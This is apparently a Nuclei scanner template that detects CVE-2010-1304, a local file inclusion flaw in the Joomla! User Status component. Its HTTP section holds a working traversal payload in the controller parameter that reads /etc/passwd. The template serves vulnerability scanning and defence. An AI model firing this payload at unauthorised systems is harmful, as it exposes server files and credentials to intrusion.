id: CVE-2010-1304

info:
  name: Joomla! Component User Status - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in userstatus.php in the User Status (com_userstatus) component 1.21.16 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Unauthenticated attackers can read arbitrary files on the server through directory traversal in the controller parameter of the User Status component, potentially exposing sensitive configuration files, database credentials in wp-config.php or configuration.php, and user data.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/11998
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1304
    - http://www.exploit-db.com/exploits/11998
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/57483
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2010-1304
    cwe-id: CWE-22
    epss-score: 0.14041
    epss-percentile: 0.96187
    cpe: cpe:2.3:a:joomlamo:com_userstatus:1.21.16:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: joomlamo
    product: com_userstatus
  tags: cve,cve2010,joomla,lfi,status,edb,joomlamo,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_userstatus&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100d2ff69570f33704a1d8396bcf7879874ee2a6929dc123cd3cd935b9b4473a2d5022100e3ccb6948734fd431fef70772ec1cd49a655a0f710204eafac2201a410fbcc6a:922c64590222798bb761d5b6d8e72950